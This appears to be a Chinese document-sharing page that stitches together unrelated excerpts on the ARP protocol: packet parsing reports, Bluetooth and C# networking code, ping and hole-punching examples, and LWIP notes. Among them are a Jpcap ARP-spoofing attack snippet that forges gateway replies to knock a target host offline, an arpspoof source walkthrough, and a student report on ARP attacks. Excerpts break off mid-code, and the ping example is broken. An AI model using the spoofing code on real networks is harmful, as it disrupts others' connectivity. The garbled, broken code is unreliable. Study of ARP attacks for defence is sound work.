ARP协议的C语言实现源代码
基于Jpcap的ARP攻击源代码
原理:伪造一个ARP应答包,这个ARP包源IP地址设置为网关IP地址,源MAC地址设置为一个不存在的MAC地址(以太网内是根据MAC地址来找网关、主机的),目的IP地址、MAC地址则设置为目标主机的IP地址和MAC地址。然后将这个包按周期发送给目标主机,根据ARP协议,目标主机收到这个伪造的ARP应答包后,其ARP缓存会被更改,其缓存内网关地址对应的MAC地址变为前面设置的不存在的MAC地址。这样,当目标主机向外发送数据包的时候,就会因为找不到正确的网关而无法向局域网内发送数据,从而达到断网效果。
JpcapSender sender = jc.getJpcapSenderInstance(); //发送器JpcapSender,用来发送报文
InetAddress senderIP = InetAddress.getByName("10.96.33.232"); //设置本地主机的IP地址,方便接收对方返回的报文
arp.prototype = ARPPacket.PROTOTYPE_IP; //协议类型
arp.operation = ARPPacket.ARP_REPLY; //指明是ARP应答包包
arp.hlen = 6;
arp.plen = 4;
byte[] srcmac = stomac("00-0D-2B-2E-B1-0A"); // 伪装的MAC地址,这里乱写就行,不过要符合格式、十六进制
ether.dst_mac=getOtherMAC(ip);
arp.datalink=ether;
// 发送ARP应答包 。因为一般主机会间隔一定时间发送ARP请求包询问网关地址,所以这里需要设置一个攻击周期。
网络协议分析获取并解析ARP
成绩:网络协议分析报告题目:获取并解析网络中的ARP数据包学院:计算机科学与技术学院专业:计算机科学与技术班级:0411203学号:2012211699姓名:李传根一、要求及功能编程序,获取网络中的ARP数据包,解析数据包的内容,将结果显示在标准输出上,并同时写入日志文件.运行格式:程序名日志文件二、原理及方法2.0什么是ARP地址解析协议(Address Resolution Protocol,ARP)是在仅知道主机的IP地址时确定其物理地址的一种协议。
因IPv4和以太网的广泛应用,其主要用作将IP地址翻译为以太网的MAC地址,但其也能在ATM和FDDIIP网络中使用.从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。
ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址.而在TCP/IP协议栈中,网络层和传输层只关心目标主机的IP地址。
这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。
于是需要一种方法,根据目的主机的IP地址,获得其MAC地址.这就是ARP协议要做的事情。
所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。
另外,当发送主机和目的主机不在同一个局域网中时,即便知道目的主机的MAC地址,两者也不能直接通信,必须经过路由转发才可以。
所以此时,发送主机通过ARP协议获得的将不是目的主机的真实MAC地址,而是一台可以通往局域网外的路由器的某个端口的MAC地址。
于是此后发送主机发往目的主机的所有帧,都将发往该路由器,通过它向外发送。
这种情况称为ARP代理(ARP Proxy)。
蓝牙模块c语言代码
蓝牙模块的C语言代码取决于你使用的蓝牙模块型号以及你的具体需求。
不同的蓝牙模块可能使用不同的硬件接口和通信协议。
下面是一个简单的示例,展示了如何使用蓝牙模块进行数据传输。
请注意,这只是一个基本的示例,你需要根据你的具体硬件和需求进行修改。
首先,你需要包含必要的头文件和定义一些常量:c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <termios.h>#define BLUETOOTH_DEVICE "/dev/rfcomm0" // 蓝牙设备文件路径#define BAUDRATE B9600 // 波特率接下来,你可以编写一个函数来初始化蓝牙设备:cint initialize_bluetooth() {int fd;struct termios options;// 打开蓝牙设备文件fd = open(BLUETOOTH_DEVICE, O_RDWR | O_NOCTTY | O_NDELAY);if (fd == -1) {perror("open_port: Unable to open /dev/rfcomm0");return -1;}// 配置蓝牙设备fcntl(fd, F_SETFL, 0);// 获取当前配置tcgetattr(fd, &options);// 设置波特率cfsetispeed(&options, BAUDRATE);cfsetospeed(&options, BAUDRATE);// 设置数据位、停止位和校验位options.c_cflag |= (CLOCAL | CREAD);options.c_cflag &= ~PARENB;options.c_cflag &= ~CSTOPB;options.c_cflag &= ~CSIZE;options.c_cflag |= CS8;// 设置流控制options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG);// 设置输入模式options.c_iflag &= ~(IXON | IXOFF | IXANY);// 设置输出模式options.c_oflag &= ~OPOST;// 应用配置tcsetattr(fd, TCSANOW, &options);return fd;}然后,你可以编写一个函数来发送数据:cint send_data(int fd, const char *data) {int bytes_written = write(fd, data, strlen(data));if (bytes_written < 0) {perror("send_data: Error writing to socket");return -1;}return 0;}最后,你可以编写一个函数来接收数据:cint receive_data(int fd, char *buffer, int buffer_size) { int bytes_read = read(fd, buffer, buffer_size - 1);if (bytes_read < 0) {perror("receive_data: Error reading from socket");return -1;}buffer[bytes_read] = '\0'; // 添加字符串结束符return bytes_read;}现在,你可以在main函数中使用这些函数:cint main() {int fd;char buffer[256];// 初始化蓝牙设备fd = initialize_bluetooth();if (fd == -1) {printf("Failed to initialize bluetooth\n");return 1;}// 发送数据if (send_data(fd, "Hello, bluetooth!") == -1) {printf("Failed to send data\n");close(fd);return 1;}// 接收数据if (receive_data(fd, buffer, sizeof(buffer)) == -1) {printf("Failed to receive data\n");close(fd);return 1;}printf("Received data: %s\n", buffer);// 关闭蓝牙设备close(fd);return 0;}这个示例展示了如何使用蓝牙模块进行简单的数据传输。
使用ARP获取局域网内设备IP和MAC地址
使⽤ARP获取局域⽹内设备IP和MAC地址根据Arp列表数据,查询本地设备在线状态使⽤ arp -a 获得所有内⽹地址,⾸先看Mod对象public struct MacIpPair{public string HostName;public string MacAddress;public string IpAddress;public override string ToString(){string str = "";str += $"HostName:{HostName}\t{IpAddress}\t{MacAddress}";return str;}}其次看看查询⽅法:public List<MacIpPair> GetAllMacAddressesAndIppairs(){List<MacIpPair> mip = new List<MacIpPair>();System.Diagnostics.Process pProcess = new System.Diagnostics.Process();pProcess.StartInfo.FileName = "arp";pProcess.StartInfo.Arguments = "-a ";eShellExecute = false;pProcess.StartInfo.RedirectStandardOutput = true;pProcess.StartInfo.CreateNoWindow = true;pProcess.Start();string cmdOutput = pProcess.StandardOutput.ReadToEnd();string pattern = @"(?<ip>([0-9]{1,3}\.?){4})\s*(?<mac>([a-f0-9]{2}-?){6})";foreach (Match m in Regex.Matches(cmdOutput, pattern, RegexOptions.IgnoreCase)){mip.Add(new MacIpPair(){MacAddress = m.Groups["mac"].Value,IpAddress = m.Groups["ip"].Value});}return mip;}在写个调⽤就可以了:class Program{static void Main(string[] args){var arp = new Comm.ArpHelper();var i = arp.GetLocalIpInfo();Console.WriteLine(i.ToString());var l = arp.GetAllMacAddressesAndIppairs();l.ForEach(x =>{//Console.WriteLine($"IP:{x.IpAddress} Mac:{x.MacAddress}");Console.WriteLine(x.ToString());});Console.WriteLine("\r\n==================================================\r\n");Console.WriteLine("本地⽹卡信息:");Console.WriteLine(arp.GetLocalIpInfo() + " == " + arp.getLocalMac());string ip = "192.168.68.42";Console.Write("\n\r远程 " + ip + " 主机名信息:");var hName = arp.GetRemoteHostName(ip);Console.WriteLine(hName);Console.WriteLine("\n\r远程主机 " + hName + " ⽹卡信息:");string[] temp = arp.getRemoteIP(hName);for (int j = 0; j < temp.Length; j++){Console.WriteLine("远程IP信息:" + temp[j]);}Console.WriteLine("\n\r远程主机MAC :");Console.WriteLine(arp.getRemoteMac("192.168.68.21", "192.168.68.255"));Console.WriteLine(arp.getRemoteMac("192.168.68.21", "192.168.68.44"));Console.ReadKey();}}=====================================================================c# 通过发送arp包获取ip等信息利⽤dns类和WMI规范获取IP及MAC地址在C#编程中,要获取主机名和主机IP地址,是⽐较容易的.它提供的Dns类,可以轻松的取得主机名和IP地址.⽰例:string strHostName = Dns.GetHostName(); //得到本机的主机名IPHostEntry ipEntry = Dns.GetHostByName(strHostName); //取得本机IPstring strAddr = ipEntry.AddressList[0].ToString(); //假设本地主机为单⽹卡在这段代码中使⽤了两个类,⼀个是Dns类,另⼀个为IPHostEntry类,⼆者都存在于命名空间中.Dns类主要是从域名系统(DNS)中检索关于特定主机的信息,上⾯的代码第⼀⾏就从本地的DNS中检索出本地主机名.IPHostEntry类则将⼀个域名系统或主机名与⼀组IP地址相关联,它与DNS类⼀起使⽤,⽤于获取主机的IP地址组.要获取远程主机的IP地址,其⽅法也是⼤同⼩异.在获取了IP地址后,如果还需要取得⽹卡的MAC地址,就需要进⼀步探究了.这⾥⼜分两种情况,⼀是本机MAC地址,⼆是远程主机MAC地址.⼆者的获取是完全不同的.在获取本机的MAC地址时,可以使⽤WMI规范,通过SELECT语句提取MAC地址.在.NET框架中,WMI规范的实现定义在System.Management命名空间中.ManagementObjectSearcher类⽤于根据指定的查询检索管理对象的集合ManagementObjectCollection类为管理对象的集合,下例中由检索对象返回管理对象集合赋值给它.⽰例:ManagementObjectSearcher query =new ManagementObjectSearcher("SELECT * FROM Win32_NetworkAdapterConfiguration") ; ManagementObjectCollection queryCollection = query.Get();foreach( ManagementObject mo in queryCollection ){if(mo["IPEnabled"].ToString() == "True")mac = mo["MacAddress"].ToString();}获取远程主机的MAC地址时,需要借⽤API函数SendARP.该函数使⽤ARP协议,向⽬的主机发送ARP包,利⽤返回并存储在⾼速缓存中的IP和MAC地址对,从⽽获取远程主机的MAC地址.⽰例:Int32 ldest= inet_addr(remoteIP); //⽬的ipInt32 lhost= inet_addr(localIP); //本地iptry{Int64 macinfo = new Int64();Int32 len = 6;int res = SendARP(ldest,0, ref macinfo, ref len); //发送ARP包return Convert.ToString(macinfo,16);}catch(Exception err){Console.WriteLine("Error:{0}",err.Message);}return 0.ToString();但使⽤该⽅式获取MAC时有⼀个很⼤的限制,就是只能获取同⽹段的远程主机MAC地址.因为在标准⽹络协议下,ARP包是不能跨⽹段传输的,故想通过ARP协议是⽆法查询跨⽹段设备MAC地址的。
使用socket发送ARP报文--代码
perror("socket()");
exit(1);
}
err = ioctl(s, SIOCGIFADDR, &req);
close(s);
if (err == -1)
view plaincopy to clipboardprint?
#ifndef ARP_H_H_H
#define ARP_H_H_H
#include <linux/if_arp.h>
#pragma pack (1)
struct arp_packet
printf("%s\t\t", inet_ntoa(ip));
mac = packet->eth_dst_addr;
ip.s_addr = packet->inet_dst_addr;
printf("%.2X:%.2X:%.2X:%.2X:%.2X:%.2X\t", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
int get_ifindex(char *dev);
#endif
#ifndef ARP_H_H_H
#define ARP_H_H_H
#include <linux/if_arp.h>
#pragma pack (1)
struct arp_packet
{
struct ethhdr ethd;
void print_ARPMsg(struct arp_packet *packet);
void print_data(unsigned char *buf);
arpspoof原理分析源码分析
arpspoof原理分析源码分析从main函数开始⾸先⼤家不要慌,我加了⽆数注释,这个⼯具的代码也不过400⾏⽽已。
⾸先我们看⼀下main函数:为了避免⼤家看起来太紧张,我在源码的注释中加了详细的讲解,⽅便基础薄弱的同学理解:1int main(int argc, char *argv[])2 {3int c;4char ebuf[PCAP_ERRBUF_SIZE];5 intf = NULL;6 spoof_ip = target_ip = 0;78/**9关于getopt这个函数我想做如下解释⼤家就可以读懂下⾯的函数的具体意思了:10 1.getopt的⽤途:⽤于专门处理函数参数的。
11 2.getopt的⽤法:argc与argv直接是从main的参数中拿下来的,第三个参数描述了整个程序参数的命令要求12具体的⽤法我们可以先理解为要求i,t这两个参数必须有值13然后有具体值得参数会把值付给全局变量optarg,这样我们就能理解下⾯的while循环中的操作了14*/15while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {1617switch (c) {1819case'i':20 intf = optarg;21break;22case't':23/*24 libnet_name_resolve是解析域名,然后把域名解析的结果形成ip地址返回到target_ip25*/26if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)27 usage();28break;29default:30 usage();3132 }3334 }3536 argc -= optind;37 argv += optind;3839if (argc != 1)40 usage();4142if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)43 usage();4445/*46 pcap_lookupdev 顾名思义这个pcap库中的函数是⽤来寻找本机的可⽤⽹络设备。
C语言实现ARP攻击(附源码)
信息安全原理——ARP攻击班级:07计算机1班姓名:胡益铭学号:E07620112ARP原理:ARP,即地址解析协议,实现通过IP地址得知其物理地址。
在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。
为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。
这样就存在把IP 地址变换成物理地址的地址转换问题。
以以太网环境为例,为了正确地向目的主机传送报文,必须把目的主机的32位IP地址转换成为48位以太网的地址。
这就需要在互连层有一组服务将IP地址转换为相应物理地址,这组协议就是ARP协议。
ARP数据报格式如下:什么是ARP欺骗:其实,此起彼伏的瞬间掉线或大面积的断网大都是ARP欺骗在作怪。
ARP欺骗攻击已经成了破坏网吧经营的罪魁祸首,是网吧老板和网管员的心腹大患。
从影响网络连接通畅的方式来看,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是——截获网关数据。
它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。
第二种ARP欺骗的原理是——伪造网关。
它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。
在PC看来,就是上不了网了,“网络掉线了”。
本程序基于C语言,利用winpacp实现往局域网内发自定义的包,以达到ARP欺骗的目的。
首先从/archive/下载4.0beta1-WpdPack和4.0beta1-WinPcap.exe,版本很多,不过最新版本需要64位的系统,本人32位系统用不了。
直接点击4.0beta1-WinPcap.exe安装,然后在C:\Program Files\WinPcap下打开rpcapd.exe 服务。
解析ARP数据包软件设计与实现
解析A R P数据包软件设计与实现IMB standardization office【IMB 5AB- IMBK 08- IMB 2C】JISHOU UNIVERSITY专业课课程论文题目:解析ARP数据包作者:学号:所属学院:信息科学与工程学院专业年级:总评分:完成时间:吉首大学信息科学与工程学院解析ARP数据包软件的设计和实现(吉首大学信息科学与工程学院,湖南吉首 416000)摘要本文首先介绍了地址解析协议ARP的概念,详细说明了ARP的工作原理,ARP攻击的基本原理,详细分解了ARP数据包的各个字段含义,ARP协议工作的流程和这次课程设计的意义与目的;接着描述了此实验的总体设计;然后是详细设计,分析讲解了实现代码的主要部分;最后还讲了做这次课程设计的个人总结,谈了一些个人观点。
关键字:ARP数据包、工作原理、ARP攻击、解析、截获、功能目录第一章引言1.1ARP背景首先,我们来了解一下什么是ARP,ARP的工作原理以及ARP攻击所带来的危害。
什么是ARP地址解析协议(Address Resolution Protocol,ARP)是在仅知道主机的IP 地址时确定其物理地址的一种协议。
因IPv4和以太网的广泛应用,其主要用作将IP地址翻译为以太网的MAC地址,但其也能在ATM和FDDIIP网络中使用。
从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。
ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。
而在TCP/IP协议栈中,网络层和传输层只关心目标主机的IP地址。
这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。
于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。
c语言实现ping功能的例子
在C语言中,实现ping功能通常需要使用系统调用,因为ping命令本身就是一个系统调用。
下面是一个简单的例子:```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <netdb.h>#include <time.h>#define BUF_SIZE 256int main(int argc, char *argv[]) {if (argc != 2) {printf("Usage: %s <host>\n", argv[0]);exit(EXIT_FAILURE);}char *host = argv[1];struct hostent *he;struct sockaddr_in serv_addr;int sockfd = socket(AF_INET, SOCK_RAW, 0);if (sockfd < 0) {perror("socket");exit(EXIT_FAILURE);}serv_addr.sin_family = AF_INET;serv_addr.sin_port = htons(ICMP_PORT); // use ICMP port number hereserv_addr.sin_addr.s_addr = inet_addr(host); // use inet_addr to convert IP string to binary formatif (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {perror("connect");exit(EXIT_FAILURE);}char packet[BUF_SIZE]; // packet to send to serverstruct icmphdr *icmp = (struct icmphdr *)packet; // the header of ICMP packeticmp->type = 8; // ICMP ECHO request (ping request)icmp->code = 0; // code of requesticmp->checksum = 0; // checksum of ICMP header and data, will be calculated automatically when sent to network layer icmp->un.echo.id = getpid() & 0xffff; // the ID of this ICMP request, use current process ID as the default valueicmp->un.echo.sequence = htons(1); // the sequence number of this ICMP request, start from 1 as the default valueint len = sizeof(struct icmphdr); // the length of ICMP header only, not including the data to be sent to server yetstrcpy(packet + len, "Hello World!"); // copy data to the end of ICMP packet, len is the length of data part of ICMP packet now, including the header and data togetherlen += strlen("Hello World!"); // update the length of data part of ICMP packet after adding dataicmp->checksum = icmp_cksum(packet, len); // calculate the checksum of ICMP header and data before sending it to network layer, and store the result in checksum field of ICMP header automatically when sent to network layer (at last)if (sendto(sockfd, packet, len, 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0) {perror("sendto");exit(EXIT_FAILURE);} else { // if sendto() is successful, then we can receive the response from server using recvfrom() here in this example code only, we will not receive any response in fact if we send a ping request to a server that does not exist or is not reachable (as in this example), we will receive an error message from network layer later (at last) if we send a ping request to a server that exists and is reachable, we will receive a response from server as soon as possible (normally within 1 second), and we can use recvfrom() to receive the response from server as shown in this example code here as well。
LWIP学习笔记之ARP协议(三)
LWIP学习笔记之ARP协议(三)⼀、ARP协议简介 ARP,全称 Address Resolution Protocol,译作地址解析协议,ARP 协议与底层⽹络接⼝密切相关。
TCP/IP 标准分层结构中,把ARP 划分为了⽹络层的重要组成部分。
当⼀个主机上的应⽤程序要向⽬标主机发送数据时,它只知道⽬标主机的 IP 地址,⽽在协议栈底层接⼝发送数据包时,需要将该 IP 地址转换为⽬标主机对应的 MAC 地址,这样才能在数据链路上选择正确的通道将数据包传送出去,在整个转换过程中发挥关键作⽤的就是 ARP 协议了。
在本章中将看到: ARP 协议的原理; ARP 缓存表及其创建、维护、查询; ARP 报⽂结构; ARP 层数据包的接收处理; ARP 层数据包的发送。
ARP 层是将底层链路与协议上层连接起来的纽带,是以太⽹通信中不可或缺的协议。
1、物理地址与⽹络地址 ⽹卡的 48 位 MAC 地址都保存在⽹卡的内部存储器中,另⼀⽅⾯,TCP/IP 协议有⾃⼰的地址:32bit 的 IP 地址(⽹络地址),⽹络层发送数据包时只知道⽬的主机的 IP 地址,⽽底层接⼝(如以太⽹驱动程序)必须知道对⽅的硬件地址才能将数据发送出去。
为了解决地址映射的问题,ARP 协议提供了⼀种地址动态解析的机制,ARP 的功能是在 32 bit的 IP 地址和采⽤不同⽹络技术的硬件地址之间提供动态映射,为上层将底层的物理地址差异屏蔽起来,这样上层的因特⽹协议便可以灵活的使⽤ IP 地址进⾏通信。
2、ARP协议的本质 ARP 协议的基本功能是使⽤⽬标主机的 IP 地址,查询其对应的 MAC 地址,以保证底层链路上数据包通信的进⾏。
举⼀个简单的例⼦来看看 ARP 的功能。
假如我们的主机(192.168.1.78)需要向开发板(192.168.1.37)发送⼀个 IP 数据包,当发送数据时,主机会在⾃⼰的 ARP 缓存表中寻找是否有⽬标 IP 地址。
发送ARP数据包
封皮成绩评定表课程设计任务书摘要计算机网络是多个计算机的集合,在网络中的计算机若想互相通信就需要用到Ethernet 设备。
Ethernet 设备有自己全球唯一的MAC地址,它们以MAC地址来传输Ethernet数据包,但他们却不能识别IP包的IP地址。
所以,在Ethernet中进行IP通信时就需要一个协议来建立IP地址和MAC地址的对应关系。
在ARP协议中对于这种情况会发送Arp数据包用来寻找目的主机并建立对应关系用于下次传输。
关键字:物理帧 ARP帧 ip地址 mac地址目录一课程设计目的 (1)二课程设计要求 (1)三系统开发语言及环境的选择 (1)四相关知识………………………………………… 1-3 1.ARP协议的工作原理……………………1-22.ARP的包格式 (2)3.ARP包的填充………………………………2-3五课程设计过程……………………………………3-111.流程图………………………………… 3-42.源程序代码…………………………… 4-103.程序运行结果分析……………………10-11六课程设计小结 (11)七参考文献………………………………………11-12一课程设计目的1) ARP协议用于完成IP地址与MAC地址间的转换。
2) 熟悉ARP协议对于IP数据包的传输过程具有重要意义。
3) 本课程设计的主要目的是通过封装与发送ARP帧,了解ARP协议的工作原理与ARP帧的结构。
二课程设计要求根据后面介绍的ARP包结构,编写程序封装并发送ARP包。
1)以命令行形式运行:arpsend src_ip src_mac dst_ip dst_mac flag其中arpsend作为程序名。
各参数意义:src_ip: 源IP地址。
src_mac: 源MAC地址。
dst_ip: 目的IP地址。
dst_mac: 目的MAC地址。
Flag:0表示ARP请求;1表示ARP应答。
例如: Arpsend 192.168.1.1 FA:01:02:03:04:05192.168.1.2 0D:E1:02:03:B4:06 12)输出内容:ARP帧的各字数值,包括源IP地址,源MAC地址,目的IP地址,目的MAC地址等。
实现TCP的P2P打洞C语言源代码
哪位朋友搞过P2P的能说说怎么实现ClientA要求Server发送信息给ClientB向ClientA打洞?原理大体知道点:想实现ClientA与B通信,必须让Server通知ClientB向ClientA打洞,因为ClientA直接向B发送信息,出于安全考虑会被禁止的,所以在A向B通信之前,必须让B发送信息给A......但是我不明白ClientB发送信息给A不一样会被A给禁止么?你好,实现过程如下:服务器端Server启动两个网络侦听。
客户端CilentA和客户端CilentB分别与服务器端Server保持联系。
当CilentA需要和CilentB建立直接的TCP连接时,首先连接服务器端Server的打洞端口,并发送协助连接申请。
同时在该端口号上启动侦听。
SERVER连接收到CilentA的申请后通知CilentB,并将CilentA经过公网IP地址和端口等信息告诉CilentB。
CilentB收到服务器端Server的连接通知后首先与Server的打洞端口连接,随便发送一些数据后立即断开,这样做的目的是让服务器Server能知道CilentB的公网IP和端口号。
CilentB尝试与CilentA的公网IP地址和端口进行connect客户端B打洞的同时在相同的端口上启动侦听。
CilentB在一切准备就绪以后通过与服务器Server在收到以后将CilentB的公网IP和端口号告诉给CilentA。
CilentA收到服务器Server回复的CilentB的公网IP和端口号等信息以后,开始连接到CilentB公网IP 和端口号,从而直接的TCP连接建立起来了。
// 服务器SERVER地址和端口号定义#define SRV_TCP_MAIN_PORT 4000 // 服务器主连接的端口号#define SRV_TCP_HOLE_PORT 8000 // 服务器响应客户端打洞申请的端口号这两个端口是固定的,服务器Server启动时就开始侦听这两个端口了。
实验3 地址解析协议(ARP)
实验3 地址解析协议(ARP)【实验目的】1. 掌握ARP协议的报文格式2. 掌握ARP协议的工作原理3. 理解ARP高速缓存的作用4. 掌握ARP请求和应答的实现方法5. 掌握ARP缓存表的维护过程【学时分配】4学时【实验环境】该实验采用网络结构二【实验内容】一. 物理地址与逻辑地址1. 物理地址物理地址是节点的地址,由它所在的局域网或广域网定义。
物理地址包含在数据链路层的帧中。
物理地址是最低一级的地址。
物理地址的长度和格式是可变的,取决于具体的网络。
以太网使用写在网络接口卡(NIC)上的6字节的标识作为物理地址。
物理地址可以是单播地址(一个接收者)、多播地址(一组接收者)或广播地址(由网络中的所有主机接收)。
有些网络不支持多播或广播地址,当需要把帧发送给一组主机或所有主机时,多播地址或广播地址就需要用单播地址来模拟。
2. 逻辑地址在互联网的环境中仅使用物理地址是不合适的,因为不同网络可以使用不同的地址格式。
因此,需要一种通用的编址系统,用来惟一地标识每一台主机,而不管底层使用什么样的物理网络。
逻辑地址就是为此目的而设计的。
目前Internet上的逻辑地址是32位地址,通常称为IP地址,可以用来标识连接在Internet上的每一台主机。
在Internet上没有两个主机具有同样的IP地址。
逻辑地址可以是单播地址、多播地址和广播地址。
其中广播地址有一些局限性。
在实验三中将详细介绍这三种类型的地址。
二. ARP协议简介Internet是由各种各样的物理网络通过使用诸如路由器之类的设备连接在一起组成的。
主机发送一个数据包到另一台主机时可能要经过多种不同的物理网络。
主机和路由器都是在网络层通过逻辑地址来识别的,这个地址是在全世界范围内是惟一的。
然而,数据包是通过物理网络传递的。
在物理网络中,主机和路由器通过其物理地址来识别的,其范围限于本地网络中。
物理地址和逻辑地址是两种不同的标识符。
这就意味着将一个数据包传递到一个主机或路由器需要进行两级寻址:逻辑地址和物理地址。
ARP探测C语言实现
ARP探测C语言实现ARP(Address Resolution Protocol,地址解析协议)是用于将IP 地址转换为物理地址(MAC地址)的协议。
在网络中,ARP请求和应答消息的交互可以帮助主机发现目标主机的物理地址。
下面是一个基于C语言的简单ARP探测实现。
ARP请求阶段:1.创建原始套接字,用于发送和接收网络数据包。
```cint sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);if (sockfd < 0)perror("Failed to create socket.");return -1;```2.设置套接字选项,允许发送与接收IP首部。
```cif (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)) < 0)perror("Failed to set socket options.");return -1;}```3.设置目标主机的IP地址。
```cstruct in_addr dest_ip;if (inet_aton(target_ip, &dest_ip) == 0)printf("Invalid IP address specified.");return -1;```4.构造ARP请求包。
```cstruct arphdr arp_header;memset(&arp_header, 0, sizeof(arp_header));arp_header.ar_hrd = htons(ARPHRD_ETHER); // 以太网地址类型arp_header.ar_pro = htons(ETH_P_IP); // IP地址类型arp_header.ar_hln = ETH_ALEN; // MAC地址长度arp_header.ar_pln = sizeof(in_addr_t); // IP地址长度arp_header.ar_op = htons(ARPOP_REQUEST); // ARP请求操作码struct ether_arp ether_arp_pkt;memset(ðer_arp_pkt, 0, sizeof(ether_arp_pkt));//设置以太网帧的源地址和目标地址memcpy(ether_arp_pkt.arp_sha, mac_addr, ETH_ALEN); memset(ether_arp_pkt.arp_tha, 0xff, ETH_ALEN);//设置以太网帧的协议类型ether_arp_pkt.ea_hdr.ar_hrd = arp_header.ar_hrd;ether_arp_pkt.ea_hdr.ar_pro = arp_header.ar_pro;ether_arp_pkt.ea_hdr.ar_hln = arp_header.ar_hln;ether_arp_pkt.ea_hdr.ar_pln = arp_header.ar_pln;ether_arp_pkt.ea_hdr.ar_op = arp_header.ar_op;//设置ARP请求的源IP地址和目标IP地址ether_arp_pkt.arp_spa = inet_addr(sender_ip);ether_arp_pkt.arp_tpa = dest_ip.s_addr;//构造完成的ARP请求数据包memcpy(buffer, ðer_arp_pkt, sizeof(ether_arp_pkt)); ```5.设置套接字的目标地址。
arp协议的rfc编号
arp协议的rfc编号RFC 826:以太网地址解析协议(ARP)引言:以太网是一种广泛应用于局域网中的局域网络技术,而ARP (Address Resolution Protocol)则是以太网中最为重要的协议之一。
本文将介绍ARP协议的定义、工作原理以及应用场景。
一、定义ARP协议是一种用于在以太网中解析IP地址与物理地址(MAC地址)之间映射关系的协议。
它通过广播方式向局域网中的所有主机发送请求,以获取目标主机的MAC地址。
ARP协议在以太网中的具体实现是通过发送ARP请求和ARP响应报文来完成的。
二、工作原理ARP协议的工作原理可以分为ARP请求和ARP响应两个阶段。
1. ARP请求当主机A需要与主机B通信时,它首先会检查本地的ARP缓存表中是否存在与主机B的IP地址对应的MAC地址。
如果存在,则直接使用缓存中的MAC地址发送数据包。
如果不存在,则主机A会发送一个ARP请求报文,其中包含它自己的IP地址和MAC地址,以及目标主机B的IP地址。
该报文以广播的方式发送到局域网中的所有主机。
2. ARP响应当目标主机B收到ARP请求报文后,会检查请求报文中的目标IP地址是否与自己的IP地址相匹配。
如果匹配,则主机B会发送一个ARP响应报文,包含它自己的IP地址和MAC地址,以及发送请求的主机A的IP地址和MAC地址。
该报文只发送给主机A,并不进行广播。
三、应用场景ARP协议在局域网中具有广泛的应用场景,以下是其中几个常见的应用:1. IP通信ARP协议使得IP地址与MAC地址之间的映射关系能够在局域网中动态地建立和更新。
当一台主机需要与另一台主机进行通信时,ARP 协议能够帮助它获取目标主机的MAC地址,从而实现数据的正确传输。
2. 局域网扩展当一个局域网需要扩展到另一个局域网时,通过路由器进行连接。
在这种情况下,ARP协议仍然能够起到关键的作用,帮助不同局域网中的主机进行通信。
当一台主机需要与另一个局域网中的主机进行通信时,它会向本地的默认网关(路由器)发送ARP请求,获取目标主机的MAC地址。
c语言自定义通讯协议的具体实现
c语言自定义通讯协议的具体实现C语言是一种功能强大的编程语言,可以用来实现各种应用程序。
其中,自定义通讯协议也是C语言的一项重要功能。
这篇文章将介绍C语言自定义通讯协议的具体实现。
一、通讯协议的概念及分类通讯协议是指在通讯过程中,约定双方之间如何进行信息交换的一系列规则和标准。
通讯协议可以分为以下几类:1.物理层协议:物理层协议是指通讯双方之间的物理连接方式和传输介质。
例如,RS232、RS485、TCP/IP等。
2.数据链路层协议:数据链路层协议是指在物理层协议之上,定义了数据帧的格式、校验和流量控制等内容。
例如,HDLC、PPP、Ethernet等。
3.网络层协议:网络层协议是指在数据链路层协议之上,定义了网络地址和路由选择等内容。
例如,IP、ICMP、ARP等。
4.传输层协议:传输层协议是指在网络层协议之上,定义了传输协议的数据包格式、错误控制和流量控制等内容。
例如,TCP、UDP 等。
5.应用层协议:应用层协议是指在传输层协议之上,定义了应用程序之间的数据格式和交互方式。
例如,HTTP、FTP、SMTP等。
二、C语言自定义通讯协议的实现在C语言中,可以通过定义结构体的方式来实现自定义通讯协议。
结构体是一种复合数据类型,可以包含多个不同类型的数据成员,类似于C++中的类。
定义结构体的语法如下:struct 结构体名称{数据类型成员名称1;数据类型成员名称2;数据类型成员名称3;…};例如,定义一个包含消息类型、数据长度和数据内容的结构体: struct Message{int messageType;int dataLength;char data[1024];};在这个结构体中,messageType表示消息的类型,dataLength表示数据的长度,data表示数据的内容,最大长度为1024个字符。
接下来,可以定义函数来实现通过网络传输消息的功能。
